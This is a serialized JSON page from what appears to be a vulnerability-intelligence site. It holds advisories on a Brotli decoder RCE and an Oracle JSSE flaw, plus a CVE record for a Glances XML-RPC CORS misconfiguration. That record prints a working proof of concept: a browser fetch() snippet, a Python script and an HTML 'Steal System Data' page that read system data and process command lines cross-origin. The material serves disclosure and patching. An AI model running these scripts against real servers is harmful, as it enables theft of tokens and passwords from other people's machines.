[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-33533":30,"landing-articles":70},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":37,"cwes":38,"cpes":40,"technologies":43,"references":46,"score":52,"epss_score":53,"epss_percentile":54,"is_kev":37,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":55,"attack_mappings":61,"exploits":68},18859,"CVE-2026-33533","EUVD-2026-18252","Glances Vulnerable to Cross-Origin System Information Disclosure via XML-RPC Server CORS Wildcard\n\n### Summary\n\nThe Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS \"simple request\" (POST with Content-Type: text\u002Fplain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker's JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU\u002Fmemory\u002Fdisk\u002Fnetwork stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths).\n\n### Details\n\nFile: glances\u002Fserver.py, class GlancesXMLRPCHandler, line 41\n\n```python\ndef send_my_headers(self):\n    self.send_header(\"Access-Control-Allow-Origin\", \"*\")\n```\n\nThis header is attached to every response from the XML-RPC server. The server inherits from SimpleXMLRPCRequestHandler which parses the POST body as XML regardless of the Content-Type header. Combined with the default unauthenticated configuration (server.isAuth = False, line 196), any website on the internet can call getAll(), getPlugin(), getAllPlugins(), getAllLimits(), or getAllViews() and read the results.\n\nThe REST API had the same issue and it was fixed in 4.5.1 (CVE-2026-32610). The XML-RPC server was not patched. The two components are entirely separate code paths: the REST API uses FastAPI\u002FUvicorn and is started with glances -w, while the XML-RPC server uses Python's xmlrpc.server and is started with glances -s. The attack works because POST with Content-Type: text\u002Fplain is classified as a CORS simple request by browsers, so no OPTIONS preflight is sent. The server never checks the Content-Type value, so the XML-RPC payload inside a text\u002Fplain body is parsed and executed normally.\n\n### PoC\n\nPrerequisites: Glances installed (any version including latest 4.5.1+), started in server mode.\n\nStep 1. Start the Glances XML-RPC server on the target machine:\n\n```\nglances -s -p 61209\n```\n\nStep 2. From any machine, run the Python PoC to confirm the issue server-side:\n\n```\npython3 poc_test.py TARGET_IP 61209\n```\n\nStep 3. To demonstrate the browser attack, host poc_cors_xmlrpc.html on any web server (even a different origin). Open it in a browser, enter the target URL (http:\u002F\u002FTARGET_IP:61209), and click \"Steal System Data\". The page will display the full system monitoring data retrieved cross-origin.\n\nStep 4. Alternatively, paste this into any browser console while on any website:\n\n```javascript\nfetch(\"http:\u002F\u002FTARGET_IP:61209\u002FRPC2\", {\n    method: \"POST\",\n    headers: {\"Content-Type\": \"text\u002Fplain\"},\n    body: '\u003C?xml version=\"1.0\"?>\u003CmethodCall>\u003CmethodName>getAll\u003C\u002FmethodName>\u003C\u002FmethodCall>'\n}).then(r => r.text()).then(d => {\n    let m = d.match(\u002F\u003Cstring>([\\s\\S]*?)\u003C\\\u002Fstring>\u002F);\n    let data = JSON.parse(m[1].replace(\u002F<\u002Fg,\"\u003C\").replace(\u002F>\u002Fg,\">\").replace(\u002F&\u002Fg,\"&\"));\n    console.log(\"Hostname:\", data.system.hostname);\n    console.log(\"Processes:\", data.processlist.length);\n    console.log(\"First process cmdline:\", data.processlist[0].cmdline);\n});\n```\n\nVerified output from testing on Glances 4.5.3_dev01 (current main branch):\n\n```\n[+] HTTP Status: 200\n[+] Access-Control-Allow-Origin: *\n[+] Successfully retrieved system data cross-origin.\nHostname:     claude\nOS:           Linux 6.8.0-1024-gcp\nProcess count: 125\nTop processes include full command lines with arguments\nTotal data categories exposed: 35\n```\n\n### Impact\n\nAny user who runs Glances in server mode (glances -s) on a network-accessible interface is vulnerable. A malicious website visited by anyone on the same network can silently extract the complete system monitoring dataset without any user interaction beyond visiting the page. The stolen data includes hostname, OS version, IP addresses, full process list with command lines (which commonly contain database credentials, API tokens, internal service URLs, and file paths), disk mount points, network interface details, and sensor readings. Default configuration has no authentication, making every XML-RPC server instance exploitable out of the box.\n\npoc_test.py\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nPoC: Cross-Origin Data Theft via Glances XML-RPC Server CORS Misconfiguration\n\nThis script simulates the browser-based attack by sending a POST request with\nContent-Type: text\u002Fplain (CORS simple request) to the Glances XML-RPC server.\n\nThe server responds with Access-Control-Allow-Origin: * which allows any\nwebpage to read the full response containing system monitoring data.\n\nUsage: python3 poc_test.py [target_host] [target_port]\nDefault: python3 poc_test.py 127.0.0.1 61209\n\"\"\"\n\nimport http.client\nimport json\nimport sys\nimport xmlrpc.client\n\n\ndef main():\n    host = sys.argv[1] if len(sys.argv) > 1 else \"127.0.0.1\"\n    port = int(sys.argv[2]) if len(sys.argv) > 2 else 61209\n\n    print(f\"[*] Target: {host}:{port}\")\n    print(f\"[*] Simulating cross-origin request (Content-Type: text\u002Fplain)\")\n    print()\n\n    conn = http.client.HTTPConnection(host, port, timeout=10)\n\n    # XML-RPC payload sent as text\u002Fplain to avoid CORS preflight\n    payload = '\u003C?xml version=\"1.0\"?>\u003CmethodCall>\u003CmethodName>getAll\u003C\u002FmethodName>\u003C\u002FmethodCall>'\n    headers = {\n        \"Content-Type\": \"text\u002Fplain\",\n        \"Origin\": \"http:\u002F\u002Fevil-attacker.com\",\n    }\n\n    try:\n        conn.request(\"POST\", \"\u002FRPC2\", body=payload, headers=headers)\n        response = conn.getresponse()\n    except Exception as e:\n        print(f\"[-] Connection failed: {e}\")\n        sys.exit(1)\n\n    print(f\"[+] HTTP Status: {response.status}\")\n    cors = response.getheader(\"Access-Control-Allow-Origin\")\n    print(f\"[+] Access-Control-Allow-Origin: {cors}\")\n    print()\n\n    if cors != \"*\":\n        print(\"[-] CORS header is not wildcard. Attack would not work.\")\n        sys.exit(1)\n\n    data = response.read()\n    result = xmlrpc.client.loads(data)[0][0]\n    parsed = json.loads(result)\n\n    print(\"[+] Successfully retrieved system data cross-origin.\")\n    print()\n    print(\"=== Stolen System Information ===\")\n    print()\n\n    system = parsed.get(\"system\", {})\n    print(f\"Hostname:     {system.get('hostname', 'N\u002FA')}\")\n    print(f\"OS:           {system.get('os_name', 'N\u002FA')} {system.get('os_version', '')}\")\n    print(f\"Platform:     {system.get('platform', 'N\u002FA')}\")\n    print(f\"Distribution: {system.get('linux_distro', 'N\u002FA')}\")\n    print()\n\n    cpu = parsed.get(\"cpu\", {})\n    print(f\"CPU user:     {cpu.get('user', 'N\u002FA')}%\")\n    print(f\"CPU system:   {cpu.get('system', 'N\u002FA')}%\")\n    print(f\"CPU cores:    {cpu.get('cpucore', 'N\u002FA')}\")\n    print()\n\n    mem = parsed.get(\"mem\", {})\n    total_mb = round((mem.get(\"total\", 0)) \u002F 1024 \u002F 1024)\n    used_mb = round((mem.get(\"used\", 0)) \u002F 1024 \u002F 1024)\n    print(f\"Memory:       {used_mb}MB \u002F {total_mb}MB ({mem.get('percent', 'N\u002FA')}%)\")\n    print()\n\n    ip_info = parsed.get(\"ip\", {})\n    print(f\"IP Address:   {ip_info.get('address', 'N\u002FA')}\")\n    print(f\"Subnet Mask:  {ip_info.get('mask', 'N\u002FA')}\")\n    print()\n\n    procs = parsed.get(\"processlist\", [])\n    print(f\"Process count: {len(procs)}\")\n    print()\n    print(\"Top 5 processes by CPU (with command lines):\")\n    for p in sorted(procs, key=lambda x: x.get(\"cpu_percent\", 0), reverse=True)[:5]:\n        cmdline = p.get(\"cmdline\", [])\n        cmd = \" \".join(cmdline) if isinstance(cmdline, list) else str(cmdline)\n        print(f\"  PID {p.get('pid'):>6} | {p.get('name', 'N\u002FA'):>20} | CPU {p.get('cpu_percent', 0):>5.1f}% | {cmd[:100]}\")\n\n    print()\n    print(f\"[+] Total data categories exposed: {len(parsed.keys())}\")\n    print(f\"[+] Categories: {', '.join(sorted(parsed.keys()))}\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\npoc_cors_xmlrpc.html\n\n```html\n\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\u003Ctitle>Glances XML-RPC CORS PoC\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Ch2>Glances XML-RPC Cross-Origin Data Theft PoC\u003C\u002Fh2>\n\u003Cp>Target: \u003Cinput id=\"target\" value=\"http:\u002F\u002F127.0.0.1:61209\" size=\"40\">\u003C\u002Fp>\n\u003Cbutton onclick=\"exploit()\">Steal System Data\u003C\u002Fbutton>\n\u003Cpre id=\"output\" style=\"background:#111;color:#0f0;padding:10px;max-height:600px;overflow:auto;\">\u003C\u002Fpre>\n\u003Cscript>\nasync function exploit() {\n    const target = document.getElementById(\"target\").value;\n    const out = document.getElementById(\"output\");\n    out.textContent = \"[*] Sending cross-origin XML-RPC request to \" + target + \"\u002FRPC2\\n\";\n    out.textContent += \"[*] Content-Type: text\u002Fplain (CORS simple request, no preflight)\\n\\n\";\n\n    try {\n        const resp = await fetch(target + \"\u002FRPC2\", {\n            method: \"POST\",\n            headers: {\"Content-Type\": \"text\u002Fplain\"},\n            body: '\u003C?xml version=\"1.0\"?>\u003CmethodCall>\u003CmethodName>getAll\u003C\u002FmethodName>\u003C\u002FmethodCall>'\n        });\n\n        out.textContent += \"[+] Response status: \" + resp.status + \"\\n\";\n        out.textContent += \"[+] CORS header: \" + resp.headers.get(\"Access-Control-Allow-Origin\") + \"\\n\\n\";\n\n        const xml = await resp.text();\n        const match = xml.match(\u002F\u003Cstring>([\\s\\S]*?)\u003C\\\u002Fstring>\u002F);\n        if (match) {\n            const data = JSON.parse(match[1].replace(\u002F<\u002Fg,\"\u003C\").replace(\u002F>\u002Fg,\">\").replace(\u002F&\u002Fg,\"&\"));\n            out.textContent += \"[+] === STOLEN SYSTEM DATA ===\\n\\n\";\n            out.textContent += \"Hostname: \" + (data.system?.hostname || \"N\u002FA\") + \"\\n\";\n            out.textContent += \"OS: \" + (data.system?.os_name || \"N\u002FA\") + \" \" + (data.system?.os_version || \"\") + \"\\n\";\n            out.textContent += \"CPU cores: \" + (data.cpu?.cpucore || \"N\u002FA\") + \"\\n\";\n            out.textContent += \"CPU usage: \" + (data.cpu?.user || \"N\u002FA\") + \"% user\\n\";\n            out.textContent += \"Memory: \" + Math.round((data.mem?.used||0)\u002F1024\u002F1024) + \"MB \u002F \" + Math.round((data.mem?.total||0)\u002F1024\u002F1024) + \"MB\\n\";\n            out.textContent += \"Processes: \" + (data.processlist?.length || 0) + \"\\n\\n\";\n\n            if (data.processlist?.length > 0) {\n                out.textContent += \"[+] Top 10 processes (with full command lines):\\n\";\n                data.processlist.slice(0, 10).forEach(p => {\n                    const cmd = Array.isArray(p.cmdline) ? p.cmdline.join(\" \") : (p.cmdline || \"\");\n                    out.textContent += \"  PID \" + p.pid + \" | \" + p.name + \" | \" + cmd.substring(0,120) + \"\\n\";\n                });\n            }\n\n            if (data.network?.length > 0) {\n                out.textContent += \"\\n[+] Network interfaces:\\n\";\n                data.network.forEach(n => {\n                    out.textContent += \"  \" + n.interface_name + \" | RX: \" + n.bytes_recv + \" TX: \" + n.bytes_sent + \"\\n\";\n                });\n            }\n\n            if (data.fs?.length > 0) {\n                out.textContent += \"\\n[+] Filesystems:\\n\";\n                data.fs.forEach(f => {\n                    out.textContent += \"  \" + f.mnt_point + \" | \" + f.device_name + \" | \" + f.percent + \"% used\\n\";\n                });\n            }\n        }\n    } catch(e) {\n        out.textContent += \"[-] Error: \" + e.message + \"\\n\";\n    }\n}\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```","2026-03-30T17:00:00Z",{},false,[39],"CWE-942",[41,42],"cpe:2.3:a:nicolargo:glances:*:*:*:*:*:*:*:*","cpe:2.3:a:glances:glances:*:*:*:*:*:*:*:*",[44,45],"Nicolargo Glances","Glances Glances",[47,48,49,50,51],"https:\u002F\u002Fgithub.com\u002Fnicolargo\u002Fglances\u002Fcommit\u002Fdcb39c3f12b2a1eec708c58d22d7a1d62bdf5fa1","https:\u002F\u002Fgithub.com\u002Fnicolargo\u002Fglances\u002Freleases\u002Ftag\u002Fv4.5.3","https:\u002F\u002Fgithub.com\u002Fnicolargo\u002Fglances\u002Fsecurity\u002Fadvisories\u002FGHSA-7p93-6934-f4q7","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2026-33533","https:\u002F\u002Fgithub.com\u002Fnicolargo\u002Fglances",0,0.00332,0.2615,{"timestamp":6,"automatable":56,"tech_impact":57,"exploitation":58,"cisa_decision":59,"cisa_remediation_timeline":60},"no","partial","none",{},"FSU",[62],{"name":63,"source":64,"tactics":65,"technique_id":67},"Exploit Public-Facing Application","attack_vector",[66],"initial-access","T1190",[69],{"link":49},{"count":71,"next":72,"previous":6,"results":73},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[74,82,90],{"id":75,"title":76,"summary":77,"published_at":78,"type":79,"link":80,"image_url":81},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":83,"title":84,"summary":85,"published_at":86,"type":87,"link":88,"image_url":89},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":91,"title":92,"summary":93,"published_at":94,"type":95,"link":96,"image_url":97},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]